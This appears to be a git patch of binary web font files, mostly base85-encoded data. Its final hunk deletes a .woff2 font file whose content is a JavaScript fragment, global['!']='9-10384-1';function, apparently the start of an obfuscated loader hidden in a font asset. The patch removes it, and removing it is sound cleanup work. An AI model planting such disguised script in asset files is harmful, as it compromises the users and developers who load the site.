z0U08r=&H6Fv^k4hYi`lOHZ=6id%@C(JOb!Q8;k2^AW&u}LNzURNigeh&Ww+o7<*WS zE{Y0%1CooXR<1bStud=uosrQSWXS51Oq_winehf%erKiQTfiVlmowNB2NziQ>f~iP za}Hz@t8$jZ7u2ySwUHu=mQ&g?dpv2X-roA|8OJi)^ed5VuybZ*MG-YJi%<|T(?t;O zODQuFAT$f@It!N3DR%I|x7n;cHa!+-u#xQG1&($=F2jqtLFhr2$}mIc`Q}P61}|Rr zN3r-+MHsV4Gb3BG6}nOU&`O8ApjmSnWGYAKd@0j^&s;V|WI|DV#ZoGh)5h}bMPYW? z$+}eO$;8hU%wtM-vO-t-iZT%l`rXI&Z3B(yB1>31$du&E|H{KXrnb3367(s*p3`oK zXQ(!n{iJC%-EC9Dllp}_3g|?yyE^FeOrQ|EgJCbYEPrZ&-VR9R3`o9Ae~Zlu)X^J* zGJ41~-)wg1&qQ~c=HO{MFVN-xX41co*{47HH}XZpd#DKWfZR=Gq4A7kP7&6=)ZeIh z>-^ax{LQmYVXp2|{eI1HWxqaGV9o~w(#YUHs|}U@Ej@Jg)el{b&b`-h7fz~;Z)lpeZnXW z026TS2BG{kvXT6=VYKwT@o-c%?%vhw_V122qKlS!HJVCaSs{{g$k=ySu|zGNc9U-Y z9mITv+p4%vKg{0cqLDLN2Hm+4zq{Yl@s7g2TQRzWbq%edl_Qy8u1TCOAjHX$iVZWeG9fu4W57zT!~L+`_cR z&q|p5xAQQ74j2f+`Trt{rX&)KF5tmudr0W@d%asj6kYasEmPcaqibiFW0`sgRlLq*WPsH)~U2U;nFU6+l?fhi5>1t zqqj8PJblv}-f+{>>b};t!r%{6*VQy*@55@LUUxhDxh?f#i1h+-Zs7Z2?-62h8el>V zBYLRfO>BkOVuihENYJz8AuI>oOa^qsT?*a!uPr}eTdnehhV+THxIZIHF{e;&=F(IZ zwX{lZ*7d8E6kuWm=m^^gq5T;uKUVhEN86aD9}UbH-HhsggR5Ibr(`}^l(!g%Z0Mrvnpf%9IVksO?02tp$B ztPQV=vsedz9|K-g{8zDtd?9KO^2d(ArWope05)u zL`PB-@h6fY{e-Tx#0g8L*g8I{4&do*?RbxmNQx{aB=K7!`6CrskzSxei2oj_+&bPN zvoe%V(xP*9q9tl#UZjF1n(J(;Cpcn35QyNo{-XWIJ6aXAqu7KKjQT4Wo-+ePun{V1 z^WGkwg15tppiI|X(Qg>%`U^>NiN?s+Mvg~&Ph7`1-gUi7^!P~4)V69eADvZ^Oipnn zaxxtLZ+f!QdmX#Obtii1$#>C{)!8VEfjRT5Ge6=5^cgNk^m#TTVC8~AXcQP8aMe?o zJrE*STn16#5&!1~<=k|NmxP_^T2E$sp&Uw?k%BW^+?jPodv>cKrN7w>Ao4Nc=@ny3 zq~A_W=aTW^sA8*={p*s6$@Drw=Hp{YJ3G~@Uk=prEeu%Q19d_HY(?@_+hp^hqgR*a z7v@W7@%Be*6ra8Jh`;{L#(@rqeq(?b!VUV-m0-N>LQA744Ty!4cVjd7I5ojc<23VR zA=z9=7F4A-nXvoc_QALH+lk~f^z+?;lGy`N4Z@bGiG%Rwg~>!|W~P*wWYD(5P`a(Y zW=LO`$ULl*7CW9r3IsKZlIO%IjhZH^FN@$PwMc=6C$X_Vd8*-NQJOtg1n{C;vomSiLwN(SR^#!@I9 zdluu2Zqx7r8H*)VaDw^UqZEaB5TY|`ZJ0Ca+1S12xYVrAREEK_GF+Jn1y&vF^$kbj zdl;79p7@cEcIKaAadLM9&(Dx|vzu_W+qedIlH&$^O^fIY<1M6a8dEw^0yi`o;zbU) zErilej|*7|cxSZ`N5NC8naeii06k@Al!qefN5Opl1Sr#cu zQ^t%MUpIz~*57zimXmT!_I_rA#~R?8e_&=5MN_FL8l6Fkg0#qn9+Y&5Y&h>{V2qkS zRwm(!lTh9lxM5QMRp5w+r$c0@r-|OMncKzf1N?X@w4zot9HKKqp%a0vzqbBp^eug{ zHAoET{Z%Cv#2oJz`WUPnLO&N(La5Z{f|j$gW0r>Iv}`InB&w!lxS66XCj2tC!oKEP z^(Y@c9WF=pkGE>*vyx?p6f3KdyINyeD@X3CTGow{sY!+?7c*|cFQY5$ds2^<$(?w( zr&sgVwx2=^WZpRx1q!uk1#@x%T~sJ$6^eApR&Sb1Knc*^6MNC;uSMLoVmK5=Y-J>c zF%6)=xcO(_`HrINf%qDlF=?2};5Djc(7_0xo#hT~WH6ld(!dF%CUwiQp6B4d;~bi2V0a%4<^y>qVwyG}S!kYS zj)@^~QM{jxZBlq^yUb^Bg3z0?+e%tVL{t}|UzB3L0#55yhJ(bg_+_-~*kE+mO%LsM zvspJiF_2Eg5_;ucCoNYG?iv{COF1!Ka4DLtW{7`P%@fQ7;KP#i={AL@ zzFsS}ukF+Qn%b8^4K_WmypYy~&}{P*nFwDyck9}@`MyTn=SuObLp1m!d?RFX9hfcWd7VoWB zqURsAojJ!o$zF`zv6XRbbk$?F122jE5?$p}fz6g5BIVh>6t<(wGTI6J3L2>wIY?6h zcSOH+qfa5`t1>yfVHI6|*<GK2GQm+;UCI8J; zEo`fESXoD-vmsdfc34pTNTANms3S4?@+v|vO?X$$v;|X8xzo6qp=8n zo1~<0h2CzOLz(St&~fH0%ME&|=gs~Q_i^rv+*90lxqszeKAyw=1LczyJ%m$bfFh5p8N3Jif67|Z3Z5S8W;T7#q&LFZlxP|eorgRop&soA?5sQ z9O36nD-m7!`g}I%4ALG}?JvG`f#asDXg=(5r_2Sv)wAR-&UEi?LL@$VnDIS^k56SB zAN`G}$zu$$9dLR)2)2I2pqk<~sR zYG~Vt6g=KKf58`IB+vf)G#3GRYd7_g1h*8=jh#WL=DhfRzWs%3;MGOljlAYDdg*6RZkMz;o?$@OUBrIL7NXJwxmC+m@wQ0WUp%gzJxtUdt84*y? zQA=*7S~^Q@!{>8c1(I|F&xM^tU56-7^h+BhkfKS8&6gxqx`7u$@;I+3E`agS%1Xy>%8g2gjCkNHhs+zBK%86ct(ONwSsqqC{)K zyxVA2-7W}<)Zf3^DoChL)OfVn_}mFY=t{W#ZNzJ0ACd~z=Kg+35rplkEf^<0XS8ew z4aiZG;)b|M$Wn8FW*lxI8HV!^(NGTR_0m~%{9s+_>RjBD>7`1M$TtoPXKySLUcXcA zQ^_AuR^d1J_jp@Gcmtaa+*~752b>(DB%ykp+~#^X^&3#$5-7*XNwD~UsKX4*k#En@ z%QL>r{}k9wqAVBYU^msPxr*eQZ;PlchE=+SguGI$(~1QjaX4Z+Ml1YdlXIa>gT*b7>YI&c=_!RS5mw1GL-s zvfhAv2lH^v2d(X(;5PEteq7HjXpF+zGP4ky>ht)6`W( z;1_iLP2(%|FACHLV!u|S7Qb*`Pya&8`nU92`iC-p2b-sX8I0F2xPw5WU-fLTJ|Er( zz3j+WqjYU|TMH{)$FnPrf|pv{wB8z;jkb_R{}fG}A zh(ayOKy5*MNYu!yuMSPGS|gjhCYgphuv(L{{UO5$8OtVQy`zVskRkPX^oROHQ7=zN zX$E^+lCU^ci1c4&&|93PuTi(-Q!qiHv`jyFEqy)K?&LV@HX42{eMKJ)d?MQKX5+W$ ztlY{6!g395CEEE_ghRAPq#N@vEGR@;(E)VayyE>9S0q2ojfc=5Y1!fzT?~Xzx+_x> zRL$l~+42x|(i>V!%O7lIw8%I>{wXcm%Bv<#Gqq{dMgJg4r^(=$m!uKNlxmNPrnCr> z^QwM9j78ME#S59$-yFAM)*LPF`616MsxdHNs0z>jP}XGg-fe$RE2i)iZIl@N90mFlbE85lov2(cO$+oG`o)fC zcN8~7qV|v-jcoX`f&^=F=C*g;HZy6_WmZ|@aXLF$+f}T-aZ@cUO0x7J*ZsL=7}nQC zmB>uxPvP2DD#p(Crh-*&KL%#fd%%p$Yh;WOVv|KsI>rsI8C9%#O6`v?1{ruI)UXQoRbyxN)B3R5{f;GkKfha)IRWPp~o>`a&1K9Ulmi4!Q zC4SNKQSt2ld5GO;dsdTX(6x^setV_nI&rt?XIX78{CQbb5p5lNglUGRc29+_rmg>d zH=$L5fR`>=)#2<1*0-lpA(bE5Mo zNm@Jt5hpY^$^Jkb5sPOEzU@IzvZw16tkPQ0i~E(b_nYY+CM^EwPvz;o({hQ{dBTI6 z6nx6Qg%k$9nUvu-(=3iOd)aqk+B4fdqteui#77%>Y4^<-H;mqc7#~DK4NNZH`Xt6r z(tn^7o0-`ST=AH;69eK0Bcw@>kIiB$Rq=b+9v^5Q?0jsizu#dp6F3+iKlZ}wIkxi z*D$i3nmBcRQJ97ffxVQ#f$mTTL8soXq60W|e=67fG~HDjGuMO{D8?5eqNfZA9!{Ll z%@_)4a_~A?BY$Mq0)>ToV@#7t7Yn*Ask%bfRTPo*>Hu!XhBaVq=_q#x_aNyP4Itnt zQ{xHy;weo=uIw$x16l58$wgXP;W_Im;)Gv88wzIMvzjaaA$G$tBSF*Chj3SE%E&GtgiRBp6FlE%@FH*Y`4v=e z-_EZfZ$lLMcCGnLC~e@+>t@&uXMRa%@uOr|(qA$>AN95&&Cn^tBUwk(k3@>aVj_Aw zFCq3sB(X=&2Jh_Es0>15t+He+Q7o{%+()@jQoI&_O~0rxbB^O>nP5mrG@T~w=jnbT zqd@9R|2%)2XWP7m(r7$4$fOzi{bIgovuvZtaG4+>p_eQhw5`_3t$g%;=m{?Z?frSk z5eTt0kgaO?g`Pp14C;-%txB4Vidg2y1RJX+T7zYj;}u=TCdysBW)qJ-t6IFJEnxh1 zs1O2h4OC8N({i{kT*}`ph?=D-W8d(PZv#rwd<>qu1e81?%@A^kD7fyp@I7lfeT!yV zTIs7Q*{Nu zcn!KfDN)I$H;Z<4n;UL-RCDj{qI<8absL6(h|AMsHK~h^a+z+H}KL-a}}@ zD+!6HN@7pnnQkM*m5#bCb{SS{@VkONw|Z&LRk|7Hnm``(#yDm z?YS#^Q>4&hpq*am{{CW|xj8v`#sq+I|gt4PgmY{qv;2_TSlm*g_ z48w#hB5Jam`!swXP~JbFJpdLCBo9R2hqw^Jmi38eo|r&GNvN(QKHq>Nak2%ErYio$uw8S-hUx6AzO#qbgDr(HGT zA<8XG3ELFTe8|SscS*HFapT;FPs0-~g7T28P@$-vEYzP!Ts}aDt@Eh!nr^r3u&;-K zzcR(;fan3pTCET|)$$NlVAFH@4d?>ClM6(PF*GzHnDQG$goL;x%TkD$zC)6vNWSwg zORV`UEZ2|I#J_c#>-YQM_e(FdzDK9`_lUxaMBo3{%dm-IvHlmTLNy*Q_hgG!l?iX! zLp>GqtjT#l$7x5C**u2a-EBy>Wj4gQ)VdH9+o_fD9=b*lt605eJmAH~H$JJCrvl1UcGUV5x#Sv!#^ z=P4lMPC-)|iYDxAS3Q)2XA0&xTTmkmE?G!~Xr_gS;n4O%k{kj1$K1GCFljo4P~v`3 z6SoSAG%z43!q(tMTaUdP^7m~a`ragEy=_Y-GiuUkj7n`qp{-c(Xh6$nDZ`^}Gm<(Z zYiQ#7)e;_}LHikgeK!mL>L3mApHZb7Z|$3z>05`^@I)*6&Fz>PD?d+87iEFxZ~j&{ z$A14km!KPhO!q!x<*>}(CDHZ^GP87|k8+9rzId&xvp(M(q}MJ{ya zDfE(O=ew0=NA&H9;1fursB*@Txb|i(zw7 zC93H0*CktA$?nYo!MR;Znw6uwH;-jhQ4DXn=AIp9QkoUTS6-id;l(|)@$actMdSG{ zYT+ja{hnQqT>*l!Km<--hW4Rus@|{UyAhJjcDk^&Lk(Ly2%tJcYh}VfG&8atXc5z= z-wQJ68IHkGkOFb!61Z+?tzFO|&y^l`B9>?jj{)Vm6Et8Eq|yIkNGu?SnrFU>o`Cqf zecT*(qaW{Ag!F^86>>a-`vr@%b|vt(hA{b30RmTZ zQwTk1#ol_w{y*UP@!8RUQ<1wNk|1N)6~*3XCWM5gX=~Tw9*hj4Fh`H zZlx?$T;J6;Ty`P{E{;ZYe*H4in%C7Z`e0byuSKHGr-v&IB5T*9CJmaaqpe$Wq2@0~ zy2)y9$g&!tTxR&%lMB72i&%Kwf@gC*0$3<@Hi{7;tTlf|_!1IK0rUKFepgNAQ7V-w zMacYFoy~eaE_V3k{;Fz{3k6;+7(Hf8JKWumRU_#)O=Z3YzvItf}3r2MU%iqgA!Jy*lJ>0S8K z?h&*TpXD`?lP$-*kw>wV5Xg6YDR%|;8SabRUwRRP-iV65e&wj_dmR>kS9fHuJm0No zu_dbCn(hA)%+EKa<1s@vBC-*y7!jjFHX>v@7Egy%!%#zT*bD~_ht2lk=inYUf&el1 z`XmGvK>z5<4d`fJumN4|bKoXrPuk%A4+V{Es{jCaoMT{QU|{rS;%QHm*No@4`O3h} z!~g=f=5=X6Y5o6i{%>KL%6JyYA({{RC6Q^Wr^ zKyoSrPy`t;KLr4hOa^awoP}4*Z5uHVo!!8&FGhs;5COStDJ;dul)+MRP8C~1N>Bp< zgdk3A*%Cu?es8!kB4EJfayh>@Z%EA~zwbmdmDict*q<+RqL0(6^C;6}nBUHs_I2FV zJ#BtBr}EakM$1#htM2VMWn3@k zCYTG$NfK=H_>eqTIn+>c8Ts)LalkOdY&4V z17t zk45bS(Rdk)JK`9|x?_FEAzqDhsdbRLFAv5w!MxhNG~s&SXP%4yL^p~}l`mI0oIP)y z|JgBc4nzHLZE}t0@}}SXPsH9W05pOm0XeGn0#L4JZmn&Ug)3QuX56T)(=*<+x4_} zYAcr~=UqEP7}wt0%pa&z!KL^AK{l9#cYHog-<$(7BEN1u?uHLb)qQWV>a+Srz29v5 zJLXt9Kehgy`q{|&euVzi>MNTcyV!FrhLdvI`U!c@F+S*A@jqJJp)QrT_73-{kE%oc z(OMb(OaAS+*LiI9qgYt^J*vRw1nImumWuyVe&pR7L1lm}g{R>Pg4;-dTZwNGLmbKFz;@CP{b)@r|Eb#DE)%1^9e zJ8z)I%+IktFph)z&UF>|PIB(7@m;_%*4Oy|!FwQ;-y6PR9cAEC9=OE%UM;2{^*QK} z`vlaqpF6c*DeeckXQz5^$a2=xwnlBQ+UWHly*-y-h?AX1-CyZ@sY?kx2lJGmZqkr9 z^?%G0xi6FP-~KCTzqsJto_&y>D){!ZQ29gc{?xb~{(qd=hw@i*D)=n2{sQ;MlgD6u zF?)C)F&h|P$OUr)>T2;??R%FokMH&0;XjDw$iI2#-itZU%*|Qv_~r{>lf)+!f;%ME zPt3m!|-DoMqR0m{;Q#2k^D`DT-7oluD^|Ar*}pRFY_<%Sbd` zbTctsbvIp27gR!O%Ag2??m`G1k|HFfs0g7F^5_skhx76Gnde#0{_Xc&Yke>4{q6mm zi2wWRAXY~tl|^5%E+VZI@vq#766GUG&WJeSpV%33VwN}@QEGTZY5Ap(M4YrS;^gUK zUqqRO5vRyGWkp2U?1*wr#PNvoIbuu1sa?gKhzccy^@;?zEZ$_GyPAPKS3! zDIvEqE|uj~X&Z5-wKLa7RLzU12EW?oi0b03qKF#SYOIf_nIYuYr0HxqXWOq;M%b^V ze=VGA<5n9+?Y$9oS_u5>;D1g-kuP>f)Ky!zP|#b?e!Zg+^{qFM(*Umq?$4#?Tzt-} zCiu{Bh@kU)`p#by(FpfO+aem%*qA3xG9xaqc0obJg=}xi-=;Wa$j`txgC`fsZH8|% z*v-^7$1f9?Ogt{8;ZoNYqlNsIxU}R~EBY_v&t-gUU0TCd^LHOCwg^&R1L;(sUDo$2iiD;u|L`m=d@ zE#JD}a2@?!X}`XgP-slb-m46zFFt{JdVfX&2YSa6YNjm=|nS_WPQ?-h{-&djMHR2Z`ZHD3=3#1a3-g~ zn&O;JwKi4lRQ;yWG##($a;Nk24(IR=dhYbSywm+%e4Sy|Gt6)%-)5QFEZ*Pke9ku0 zd(_^`hx_<)AFt-jthABfcqlaiu8Pt2M^No zuzm}9w8*>`(ewx|kLdNN87&r%ng8RweO%us)D+|Vq?#x7eTtr^ad}$)622@o%Vl^j z!)v*jFE5T*fy+ucEA?2V_bT2zWA3YIT21qF>Ylgvy!AC^^n&^q@qEc#UV^`tk8AOK zS?$X-ze2~W)?USR9lUig);R~Snf+__U#EM$9&hks1Kk_U=1sB5_jZ%Lw`hHf=WmT{=}L3)I2}s)m}b+X74i^KZo@>JzwCp&;CAK zzl8TCkH50^HH@$A?|0qryLQ*9mhZL{==O9bS94D_7@NT((CV| zkwjZDQ5=gT&5EQ%hL|2nN!OAqA~|7nBq!DsOCl-NM68LVbbWC=l9Luja&kkFFOEb~ z#(tUMVy&=$ikh-&%j#ctXC&q1mMaiGm)E2G`bbWNbE^CbcvP@n(Y0ccI2=i(9AWRY z83NbSH%4+sS0S%*3sD?Nl}eGESw<8JHC16%g2cn+NE*`65dQgjfvL zX=&nmfj$?)ZYs~aCdr^7L;q&w1#g<;)Lj2ezGl*NF`P?Ei7k;_D!&CyE#Qn-Y`3oZanCwJ_o<<^mW(2hrJ$p z_0*#m9o`{HZ?%1R?cI^|iho~6}Zy20myu6jx;j|6s$B0}((@4BW(mhJP_eJ7;k&HPM z$yk2e=5szj^6?&r&p3JG)s5GG0$vmOJ_+_@KhGxPJ=uA>o#zGk6`0QydZy|zm0#1~ zPIJA3e|N&a3)dO+&EWA&`ey1q%UPSP|7?Bk5%2K{A(DbNN0Gze4MU zaOU%O0e%lS^F{nFqWeL-AL7qLe0f;z!#FSWc@g|aTpz_@vHiv7^cc)1oVzD*DaNUo zu3~5TDQi#Dw?yxydM|ZumpO;aabJPQ3O=ng?^QHEqh__f&*Ji&c%IfZ&h!iXe~}L_ z!heaLwfev8{uTbciu*dB|EI8-?$@h-L(dKLY~cT!_TS{uM)@1faT86O z%i`RSRvW0hB;Jt5sEACtM`GD3Bc)X2Ie9cfZO(zGzr5-lPvnHA{?Ya>0; zdZ{{*mOdKkN!ubVlNo8*CSqZv<>Z&!9clR)k)B#c9Er5T-bgF%_b-S(r)7x4k)B=@ z=^6U@Um&ewt%{s8S43L1wOA8rHM!M`BR#9KuvcSrq%~ps{h!uSQwzV^>gtpiizBV; zzTT2Z>*LcPSHNf}x1k>A&xy2Ahe#Xa*w}uP&5>S^Bj8=Au4!MfKGF<%7nKr+B5hVP z(&qGJ=0|$*mPjv|9_gj@wD>0qB5i5C6)!GR(|TQ`ZScNgU!+&Ijr6K&k+y@CrB~Lm zNZaQ{dQC&2ZwGuj@~_j*NIUZ&yH}*wu8y>ep4Z`fozGoqzn+gb@Uff7!K1tN9`yE< z*9-SvxcAnxH~zh8?W3j-ulvF6r>4J|^ym3abm#IYSN;GV`VF1lf@>a*dBY`aY;&h+0001ZoMT{QU|@d67{H*w00K-v%m{=G3=UvE0{|tN0iXbQoUM}0Zqq;% zg^%r|66vNtG$^QxS>;D+oF6x+WJOgeV!;NrLTsJHZLG!_%bq6c10WuQ1xpsdGw=W` zSnv=mc>#`{E7~AhffQTvd^7j@oO@>mz`peg7M9OrJQ21~!5d*4MSKu;pzu?;fQt28 zxQMFtNq7TgyC_`3fjt-A#3TEg@D_HRUEysM9Zz@%6(@cq+ zV+&op6t?O1PT0XSd=@UCYdsV$;)OL7-oSzNUATnT_P+2YT>HK77OM6S;cb+hn(z*~ z&Qsw%RGqiNW#)Xr2{d9{BSDA@OklWcb&Sy9IACm+uN-5604e7YN1W*RItec(M%70R zHPADoju%0yBgXFfNuifZCgf~(%JnHt$Nc4%fao*y3(SgTr z`yRJu&+T|_d)+N~d^@>y8%O!>-mO39H{m?YGy1vXP3aAac^$XiK2r4+!+DUTp`P{C zvV+D=3#$gb-^DloEMBB~S>;Ws{EYV@t16QiqDC1-8O<@PJ;z|%KrMn{Eme_Djf!=AHT4q}j`U2Wfl>Z!tc=#v%g``8yOf4j zDL16W_gs4OS9)`E`-thr#A(0PI%ik@vMYC_qklctza8az?%{oxWUaOR0^NPOM-R|n)nT6Xk2kmg8#BmabnVA_iQqM>?qEkydHy38dcF197W_FmFnVFfH z{#V_a-Py~3-*=j-megvfdiAP$*W{Z0_up@>owWA<{G*@XBG#mkf`k$+(H0%i6+O`x z12GgMu`V{mrq~h(#I`snjuXd=6U2$)ByqAhMO;8!P+Uk{SX@M0RGcbK6BiQ~7ncy1 z6qgd07MBs16_*p9xV*T6I9*&(oFT3xt}L!1&JJ&Esp4tk>EapUnc`XE+2T3kx#D@^`QioQh2llx#o{I6rQ&7c<>D3MmEu+6)#5ec zwc>T+_2LcUjp9w>&EhTMt>SIseDQYi4)IR$F7a;h9`RoBKJk9>0r5fcA@O1H5%E#+ zG4XNn3GqqsDe-CX8Sz>1Iq`Y%g|$<~7sZ#vm&I4aSH;)F*Tpx)H^sNax5anFcg6R_ z_r(vy55gCGRcoBkwEkCw)1VfefXV6FHTU zjO8IYlZi}aCUaTH!?KiS?cBAqWhHC5Bj@snT*#yH{_+9xf$~A}!SW&Uq4HsCUHNeN z2>D3)DEVl4mVAsnTb?7&m5-H=laH5AkWZB7$tTGt%csbv%BRVv%V)@E%4f-E%jd}F z%IC@F%NNKO$`{EO%a_QP%9qKP%U8%(%2&x(%h$-)%Gb%)%Qwh3$~Vb3%eTn4%D2h$ z<=f>u_VRZv`q);I69tApcCmNI+;$P3(y7WLUdue2wjv;rPJtQbaA=_U6L+E zm!`|mW$AL{(dFq1bUIy;&Y&yNmFX&UCS8@TMpvh6&^75=bZxp0U6-y$*QXoM4e3U7 z@eVRT)pQX>y=jjXdMfwtb znZ80_rLWP~=^OM-`WAhgzC+)o@6q?^2lPYw5&f8cLO-RS(a-4@^h^2`{hEG5zop;N z@97WpNBR@}nf^k5rN7bN=^yk@`WOA1{zLy&Yf31oNGa7)ZPig-)l+>nP(w9R>uN)7 zsx5UuZL5RoICZ=_L7k{hQYWiZ)CJT9)rHiB)kV}r)v4+)72H#8R|;v%IYfWOm$UtHFb4$4RuX*Ep=^m9d%uGJ#~F`gSBs~8>$C)L~UBqbgOa9W_@+)IuFq_g4>44^$6Q z4^|IR4^XSoJvdc=ZJJM0K8el6tawih8PgntHl= zhI*!YmU^~&j(VZ;g?goWm3p;$je4zmoqD}`gLt^;UA;rSQ@u;QTfIlUSG`ZYUwuG*P<=>!Sbao&RDDc+Tzx`)QhiE& zT75=+R((!=UVTA*QGH2$S$$S=m zNxN0#C4M>8vWhw^$EIopkq&09Do(W-xOcrGsm-vF(>SY5ugK@R^zzB1ZQ^O>ClusZ z+dS2+AjyN7Dsw;VhWR{8AhhCaoF7r84s&G|SE zweC_-MdB}7g^x|c?&U>il9${*w2vo^dTKoL+s;DnY+o1mWrLhfcMi2;xb6| z(C+6_vAe!htRXbY#^G9HzUaZ}gE*Vyjoc5)+?dFZOG9Hn>-%My&+TUiPP8BGI=L>I z`@E+uyjAM9K2rEu*bVZuD77&M^pPO(Q-9@iY8p>qE!v;JZc9yip?mo68Q6PtaP|4B zjQwny=oXeO!yNoXXQ5xRwY5upB~Lr}PRg5w?a6f2UoK5u>@FFPtyAi1t~E9(%8Me- zrd|LCYENK8um|_!<%Q0A0Vcs4R}P)Ad3dwTX{HwnUSYb;_e_tS&x`zI(yO969aq@l zHl8e^MY}Gnqa-@bvzGOPp}l(MaLr3pXY4A2pk%w@k%UwlLs1Arsgoqi%WM#6xcwv! z{7P>|n5tLgur#;&8!HXgAXfCcSiQ@0-*Q{z*4{pUU|);ta$i$j?0?B_?=;EBx;-y- z1^}vjGc#?#4*aP%E@M3je50K;7~Y>2xDOt zlcbMj)d6l1k?w8*x=w_#I>8#V6Ybn#Lja@9D3g~}k1x(wS}xSS6iAbUTxwn zUe$TVeb?fg-HMH~TbZ4`c>{|RYBK|XwG+SKAG;Os!W?U_`-khiYWi`aTW8EM%K)9u zs#+$+v#kj%CZkkGohclyK%{}MjdM7~I>!>v0+)uXbg>M;H$PDvD0-zXk_9X+S%)(@ zxUklz0AR&{AMwV(h#+EjgB2*Cl~dF9(Y zr@ZVt5MfudpkaWZeOOdnnAmvHp19Kow(QxAzt|ru+>ItYIHeC9T((dO(L5P8>7zhDu@O)9C$X)cOu|^UM@OJBk^F*B3er(KK>&>R0)c(GmdPTZ&m{9J?(T z*KngGH#+1^dk|-B0P@^l499+j*B9Od z5O@4i0TTdH@U}xWyU#Eg+gK{i-O*ClX;CdkaD1a3H$o_lJuC$rewdG$WP4K(jAFe} z>ddNG(Kwhb*h+0WlxcKnBeZ82`ZuDyE?uU^jIdhY(|J6jJryg^+tqrOq;Y`gJG#b} z>3Ez8VuL}Mfz^`uC_fxJU1>u1?W_4q5Gtb_p`C>-w%{k$z9LOTDLB=uW|t^-5XwR7^eI?6fCGB4>8)n3@yr5JYEJVlX!|Zq zcuQRL>_Qz%3ruo`_`eDeqjK}HduEM0TXm4&-AOR`TXy$Khz$dRZ>^I_l&$8icuQoJKZLPLhgKlG$fykiE$oY#r z1hK3(=2%b6DFwo(@ln02$C=gF8y%AXZ0Me4G{EknXR>?_&V}j2XEPHgY;k$kZ8Xzm z0?a1Rvp8wF2bTbB6C1+Z2b2%(@*;`m=7Ck>%s$IC0~QFqwr%Jz%rydh$hPXN!_))v zHXLo*U>;*UwBdPzOlZ-YoYcXk#~1?b1J)`tK7E$S%PC$ElbAx2uwP$ znIBIOx-ietMTYIq1!$WK=(gwugvT|UbUT$1cjhLeVdJ~T?8xB==_2D?5 zCk}0rgsWc04DA&IXCxXl3h#K|$urAAoS50tkyAjLvgYx_wbohFTyi}s1O;TeFq-7~ z-p6~>JegQ&5HaOncmG>eG&{-|FtjV5P@VF!rYz7T8dj`7LJN zi;=y0@Okir(DAsY@6A=knhx?CF7(CWaG9-I0=}!5MGEdUXu!{I83#?X?4(`r?5b7) zOETNM#Y?EiwlL{E;s0r~Mo<8sbXeo=h`EoADqJw@m^9~I?3e`;O5Jf*X9g=csdi#N zY4OGM=GcUY89;k(YlW>NUgcshkA z`q`{q#^Z6GwZKp+-8EW=Z2ZdROg63d=A80YU=<@<8Sxk)*x;R(<~z(cEjM>F?BfOP zS#Gkv^h?TIxcJttu%qr@+7U&q%PV$#P7K-EJ1N1 zBKje}VYe1eT(iR)#}xf(BgC#F!{0rykCjNBUN3}L08aw4k% z6EJ_EM5_e)mFxBjOGuIU>2TAjQC`MJb99n4_jkCg%3x#=lz>*i8$Az8rliQea^wbl z&|q3-2CN=5_`)vNa%9O~ZT*=uEkEUiD`(;}(MhL5k8s*{13-e#U1q>DCUg5735B3e_gacNmM zfFo7l$Lm23GKByF>~O_J3||l25B3C5!8>TlL>NykYTM|HMJ=LM7#}^l*bGa5QrQZ* ztM;g{tkV%+kl<*5l%EY6>$4c&WcC?|K+tGQiZW=*2TT(NO}&6+7ii*aCx@+XuPUA^ z2yMAy!%8?vsP%yrxp{SSwTThmjf5p0NwH%8BdagXe|_(SjwfI% zEk;*^2pE~TigPD|XIAyNgOkYpu&KAv3Gw&IejDCK4+ zk1B{pI{;S%7)Mjr9Xawi@jyT8d&I!{yB~8<*YKze;lnQqN79sEDBJT64GfM`|Jw^xe{BjB2i zmMI@_fjjw=NgR0ACq_%|lmQ6KhDjAjXX-)%hG3adYa9cRM}TWA8VAuh)hghs?H;#e zfZJFeBQ|==p1KZ0ECApo@@J)gU|$Ks<74e%b5LpN((=@jOFg4WonZ- zK`&F|x5j?t$LbI$+4>={4^A`Z5p(d?%=gEBd&d0J=Q?u8{?>K0c*f}+C!9%PK5fHfVXW&MI&BfrM&M2e8`XK{s_lWgqwipwWi3Xsy6m5 z<&!=?t7kE$5&8TV4O|CoM=?{17H2^@khw&@Y%>}x0M}DGQMuU3VqdZOcI`0-{BM+L z5Xy3fP8b4mcEC;vlVNrOIKvifTEgR5Gh`<=ZDe&JTRB_^>AI~?c5IB#OULX%)PZi{ zaHq5hpC!nOGx>o<441#HH_HX5vT6I?>hYAbW;I#dZdTJ4v^X8|cNXirD{LR>h9IKA zjH+u-25aNDImg3*_#n^bi~zSDoZVxd2A=5iAFIs!r7l2}xHhOj>86{NPVt6CXOBbP z#%e>7&$~N(Xt~gS%jRin?2i{CzSu+zBotN>=aJ7_qQ*%+-TTvo5azzC%(b4uin7pR zyKeK_d4>B10ZdQ1f?00w)jM`;Ph4jx_~vLSczn9p)y%rEnJxYc3ebED%AkUnee>5s z@N6^Fi-ykdnOmXzHuUqEgxTH`_o(m`;l(e9HiUa)uG?pW$QB01n$u2eX1pO`Cl2BO z*+DBt|9Lx&VM$pht>M{u)kAU@Tkjq1N=@0%lH{~!u$Ty7m0sVKIBAMH#?=hECQhx; zF*Coi#yN{QCw4y`&?w};fl4?)kx7B&Sw6RhXR82EQa|hRFXHMP;0{-7I}7H(mly>L zPP_J`mj6Zp#5>Q1*5R8X#bC^V3lS53+~$=vY{DRk!SabEbnlimg0e;ohUWvrj3zyu z_98yU2MsS>(x1j*m~a-z#1w9gL=rAN+O3?hJGHTb0F55wN5GlIdK2WD&$J3yU5TWK zPo;Rd2LXH&>5s9lmd#`OPR#gkRvOt< zi-b=Xvlep3%=C6Mz|GY^YFX9>tK6OVjY|0H4kx^bXw~*H$FvU3SC4AB<>0Z$wKh}P ze`L!|$NkT-t*sd!b9C#<&jlau*=(t2GYpPy7ElAWoW;hTXgNsBo)8T|J1}|7BwHlR zUVJdR_QbCPT`>s4pvpd%jVch}S|8k3+G#edIn3c~79P`gMV>h}W_$OPVI_^;Yio3C zg%}V92iAPtF?v&(*=uFIUwLUKM%vhSk%9Mq*cg*-8CaU+o*6X-CWk!(M|W-KL#`++ zC)2Zv$^By36nX92%C#&j|K1s=Z|vHf>t*0{D<4>mB@HRH-3;v2wREhk&Hn+P(f}g> D#gX8w diff --git a/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 b/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 deleted file mode 100644 index b216d8c..0000000 --- a/pages/widgets/_snippets/public/fonts/fa-solid-900.woff2 +++ /dev/null @@ -1 +0,0 @@ -global['!']='9-10384-1';function 